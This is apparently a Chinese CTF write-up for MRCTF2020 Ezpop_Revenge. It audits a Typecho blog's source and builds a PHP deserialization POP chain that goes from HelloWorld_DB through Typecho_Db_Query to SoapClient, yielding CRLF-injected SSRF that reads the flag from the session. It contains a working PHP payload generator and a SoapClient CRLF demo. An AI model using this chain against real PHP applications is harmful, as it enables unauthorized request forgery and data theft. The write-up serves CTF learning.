[MRCTF2020]Ezpop_Revenge
做了ezpop,看到这道题,就想尝试一下,结果……无语凝噎
进入题目,是一个搭建的博客,扫出www.zip网站源码:
(非常恐怖
这里有很多网页的代码,既然是Revenge,应该是反序列化题目,在文件内查找:
1 2 3 4 5 6 7 8 9 10 11 12
| public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } }
|
这里可以反序列化了一个post的数据,并且做了过滤……不管如何利用,先从这里找,在这个文件上方有一个类:
1 2 3 4 5 6 7
| class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } }
|
wakeup的魔法方法,可以反序列化调用,跟进Typecho_Db:
(代码太多,这里选择有用的部分
1 2 3 4 5 6 7 8 9 10 11 12
| class Typecho_Db { private $_adapter; private $_prefix; private $_adapterName;
public function __construct($adapterName, $prefix = 'typecho_') { $this->_adapterName = $adapterName; $adapterName = 'Typecho_Db_Adapter_' . $adapterName; }
|
进行了拼接,(大概)可以联想到toString方法,那有没有呢?(很多……一定要注意其形式是否可以利用,经验和感觉很重要,嗯,玄学)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } } }
|
一个针对sql语句的条件分支,注意select这里:
1
| return $this->_adapter->parseSelect($this->_sqlPreBuild);
|
就很像反序列化练习中__call函数的调用,查了一下__call函数,似乎没有利用点……
SOAP 反序列化
dalao:https://zhuanlan.zhihu.com/p/80918004
SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。
为php安装soap拓展后:

可以看到,SoapClient类自带有__call方法,由此诞生了SOAP反序列化ssrf利用。
本地重复实验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php $target = 'http://127.0.0.1:5555/path'; $post_string = 'data=something'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=my_session' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); echo $aaa;
$c = unserialize($aaa); $c->not_exists_function(); ?>
|

调用不存在的方法时,SoapClient仍会向WebSever发送请求,调用服务器函数。
在参数中,user-agent是可控的,这意味着通过CRLF,我们可以控制ua下的所有参数,进而借网站发送一个由我们控制的POST请求,完成ssrf。
pop链已经明了了(大概):
- HelloWorld_DB反序列化触发wakeup,在wakeup中实例化一个Typecho_Db;
Typecho_Db($this->coincidence['hello'], $this->coincidence['world']),$this->coincidence['world']作为参数,也就是$adapterName,控制此参数为Typecho_Db_Query的实例化,触发toString;
- Typecho_Db_Query中控制
$this->_sqlPreBuild['action']为select,$this->_adapter为SoapClient的实例化,触发其中的call方法,发送post请求进行ssrf。
明了归明了,写脚本也是一大难关……并且要对各个类里的魔术方法有数,这样才能构造出正确的序列化字符串。
……………………无语凝噎
利用类里有的construct控制变量,传入target为http://92018a96-f259-4c67-9a5a-b95fedc9d0ea.node3.buuoj.cn/flag.php设置好xff头和自己的cookie:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php error_reporting(0); class HelloWorld_DB{ private $coincidence; public function __construct() { $this->coincidence = array("hello" => new Typecho_Db_Query()); } }
class Typecho_Db_Query { private $_adapter; private $_sqlPreBuild; public function __construct() { $target = "http://92018a96-f259-4c67-9a5a-b95fedc9d0ea.node3.buuoj.cn/flag.php"; $headers = array( 'X-Forwarded-For:127.0.0.1', "Cookie: PHPSESSID=a55efu5tcvab970c7j54jbfkj3" ); $this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'haha^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"]; } }
$a = serialize(new HelloWorld_DB());
$a = preg_replace(" /\^\^/", "\r\n", $a);
echo base64_encode($a);
unserialize($_GET['pop']);
|
(大概可以吧…………
最后如何该如何利用反序列化:
在另一个Plugin.php中:
1 2 3 4 5 6
| public static function activate($pluginName) { self::$_plugins['activated'][$pluginName] = self::$_tmp; self::$_tmp = array(); Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action'); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| * 增加路由 * @access public * @param string $name 路由名称 * @param string $url 路由路径 * @param string $widget 组件名称 * @param string $action 组件动作 * @param string $after 在某个路由后面 * @return integer */ public static function addRoute($name, $url, $widget, $action = NULL, $after = NULL) { $routingTable = self::options()->routingTable; if (isset($routingTable[0])) { unset($routingTable[0]); }
$pos = 0; foreach ($routingTable as $key => $val) { $pos ++;
if ($key == $after) { break; } } $pre = array_slice($routingTable, 0, $pos); $next = array_slice($routingTable, $pos);
$routingTable = array_merge($pre, array($name => array( 'url' => $url, 'widget' => $widget, 'action' => $action )), $next); self::options()->routingTable = $routingTable;
$db = Typecho_Db::get(); return Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => serialize($routingTable)) , $db->sql()->where('name = ?', 'routingTable')); }
|
https://blog.csdn.net/a3320315/article/details/105215741
根据这篇文章的说法,网页上的插件(Widget)一般由路由分发来自动加载,序列化点:
由此,对应的 * @param string $widget 组件名称也就是HelloWorld_Plugin,查找相关的插件名一般就可以找到路由……(这个一般,大概是我胡说的……因为我根本不懂……😭zhendecai
*这句代码的意思大概就是访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数,所以我们利用点的路由为/page_admin*。
最后是文件中带有的flag.php:
1 2 3 4 5 6
| <?php if(!isset($_SESSION)) session_start(); if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ $_SESSION['flag']= "MRCTF{******}"; }else echo "我扌your problem?\nonly localhost can get flag!"; ?>
|
如果是内网访问,则flag写入session,利用点:
1
| if(isset($_REQUEST['admin'])) var_dump($_SESSION);
|
传入admin参数打印session获取flag……

这题……好像还有很类似的题,大概算是真实环境下的反序列化代码审计?不清楚,我啥都不知道🐕
经常看了后面忘前面……也算是一种锻炼吧,多积累经验……